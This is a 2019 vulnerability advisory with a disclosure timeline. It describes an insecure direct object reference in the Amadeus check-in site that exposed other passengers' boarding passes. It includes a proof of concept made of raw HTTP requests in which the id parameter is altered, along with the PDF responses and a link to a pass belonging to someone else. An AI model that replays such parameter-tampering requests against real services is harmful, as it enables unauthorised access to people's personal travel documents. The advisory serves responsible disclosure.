Advisory Information
Title: Insecure Direct Object Reference within Amadeus Check-in Application
Date Published: 16th July 2019
Author: David Stubley, david.stubley@7elements.co.uk, @DavidStubley (twitter)
Advisory Summary
It was possible to download valid boarding passes (not belonging to the user) for future flights due to a weakness within the application (Insecure Direct Object Reference).
Example of a link to a boarding pass not belonging to the user:
https://checkin.si.amadeus.net/1ASIHSSCWEBQS/sscwqs/mbp?IFOI=DCS&id=300193064&ln=en&productIndex=0
Insecure Direct Object Reference or IDOR vulnerabilities occur when an application provides direct access to objects based on user-supplied input, bypassing expected authentication and user access controls.
The vulnerable site is: https://checkin.si.amadeus.net
The vulnerable parameter is the ID field within the /mbp application end point.
PoC
The following proof of concept shows access to a boarding pass not associated with the user.
Step One: First intercept a request to generate a boarding pass:
Request:
GET /1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=104421747&ln=en&productIndex=0 HTTP/1.1
Host: checkin.si.amadeus.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Jul 2019 10:41:28 GMT
Content-Type: application/pdf
Connection: close
Content-Length: 70581
%PDF-1.3
%âãÏÓ
1 0 obj<</Type/Catalog/Outlines 57 0 R/Pages 3 0 R>>
endobj
{snip}
Step Two: Change to the id parameter to access a boarding pass not associated with the user:
Request:
GET /1ASIHSSCWEBBE/sscwbe/mbp?IFOI=DCS&id=10442131&ln=en&productIndex=0 HTTP/1.1
Host: checkin.si.amadeus.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:67.0) Gecko/20100101 Firefox/67.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Response:
HTTP/1.1 200 OK
Server: nginx
Date: Fri, 05 Jul 2019 10:44:13 GMT
Content-Type: application/pdf
Connection: close
Content-Length: 70764
%PDF-1.3
%âãÏÓ
1 0 obj<</Type/Catalog/Outlines 57 0 R/Pages 3 0 R>>
endobj
{snip}
Response shows a valid pdf document returned to the user.
Timeline
Advisory sent – 8th July 2019 (to FlyBe), 10th July 2019 (to Amadeus)
Requested confirmation that the advisory has been received by Amadeus – 11th July 2019
Update and confirmation that Amadeus are taking remediation action (advised via FlyBe) – 11th July 2019
Advised Civil Aviation Authority (CAA) on vulnerability – 11th July 2019
Requested update from Amadeus and provided notice to publish – 12th July 2019
Remediation activity completed by Amadeus (based upon dates provided by FlyBe) – 15th July 2019
Advisory published by 7 Elements – 16th July 2019